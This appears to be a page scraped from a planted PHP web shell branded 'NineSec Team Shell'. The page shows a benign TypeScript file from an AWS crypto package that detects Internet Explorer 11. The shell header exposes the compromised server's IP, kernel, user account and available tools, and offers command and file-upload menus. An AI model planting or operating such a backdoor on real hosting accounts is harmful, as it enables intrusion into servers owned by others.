NineSec Team Shell
Server IP : 92.205.26.207  /  Your IP : 216.73.216.16
Web Server : Apache
System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64
User : zikryat ( 1002)
PHP Version : 8.3.23
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/zikryat/public_html/node_modules/@aws-crypto/ie11-detection/src/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zikryat/public_html/node_modules/@aws-crypto/ie11-detection/src/MsWindow.ts
import { MsSubtleCrypto } from "./MsSubtleCrypto";

type SubtleCryptoMethod =
  | "decrypt"
  | "digest"
  | "encrypt"
  | "exportKey"
  | "generateKey"
  | "importKey"
  | "sign"
  | "verify";

const msSubtleCryptoMethods: Array<SubtleCryptoMethod> = [
  "decrypt",
  "digest",
  "encrypt",
  "exportKey",
  "generateKey",
  "importKey",
  "sign",
  "verify"
];

/**
 * The value accessible as `window.msCrypto` in Internet Explorer 11.
 */
export interface MsCrypto {
  getRandomValues: (toFill: Uint8Array) => void;
  subtle: MsSubtleCrypto;
}

/**
 * The `window` object in Internet Explorer 11. This interface does not
 * exhaustively document the prefixed features of `window` in IE11.
 */
export interface MsWindow extends Window {
  MSInputMethodContext: any;
  msCrypto: MsCrypto;
}

function quacksLikeAnMsWindow(window: Window): window is MsWindow {
  return "MSInputMethodContext" in window && "msCrypto" in window;
}

/**
 * Determines if the provided window is (or is like) the window object one would
 * expect to encounter in Internet Explorer 11.
 */
export function isMsWindow(window: Window): window is MsWindow {
  if (quacksLikeAnMsWindow(window) && window.msCrypto.subtle !== undefined) {
    const { getRandomValues, subtle } = window.msCrypto;
    return msSubtleCryptoMethods
      .map<Function>(methodName => subtle[methodName])
      .concat(getRandomValues)
      .every(method => typeof method === "function");
  }

  return false;
}

NineSec Team - 2022